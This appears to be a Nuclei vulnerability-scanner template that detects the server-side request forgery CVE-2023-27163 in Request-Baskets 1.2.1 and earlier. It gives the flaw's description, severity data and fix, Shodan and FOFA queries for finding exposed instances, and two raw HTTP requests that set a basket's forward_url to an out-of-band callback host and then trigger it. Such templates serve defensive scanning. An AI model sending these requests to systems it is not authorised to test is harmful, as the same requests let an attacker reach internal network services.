CVE-2023-27163: Request-Baskets <= 1.2.1 - Server Side Request Forgery

id: CVE-2023-27163

info:
  name: Request-Baskets <= 1.2.1 - Server Side Request Forgery
  author: Jaenact
  severity: medium
  description: |
    Request-Baskets <= 1.2.1 allows unauthenticated SSRF via the forward_url parameter when creating a new basket.
  impact: |
    Attackers can perform SSRF attacks to access internal network resources, scan internal systems, or interact with services that should not be accessible from external networks.
  remediation: |
    Upgrade to Request-Baskets version 1.2.2 or later that addresses this SSRF vulnerability.
  reference:
    - https://github.com/darklynx/request-baskets
    - https://hub.docker.com/r/darklynx/request-baskets
    - https://infosecwriteups.com/exploit-analysis-request-baskets-v1-2-1-server-side-request-forgery-ssrf-688fffd1f424
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27163
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-27163
    epss-score: 0.93045
    epss-percentile: 0.99771
    cwe-id: CWE-918
    cpe: cpe:2.3:a:rbaskets:request_baskets:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: darklynx
    product: request-baskets
    shodan-query: http.html:"Request-Baskets"
    fofa-query: body="Request-Baskets"
  tags: cve,cve2023,ssrf,request-baskets,oast,proxy,vkev,vuln

flow: http(1) && http(2)

variables:
  bucketname: "{{rand_base(7)}}"

http:
  - raw:
      - |
        POST /api/baskets/{{bucketname}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "forward_url": "http://{{interactsh-url}}",
          "proxy_response": true,
          "insecure_tls": false,
          "expand_path": true,
          "capacity": 250
        }

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'contains(body, "token\":")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        GET /{{bucketname}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
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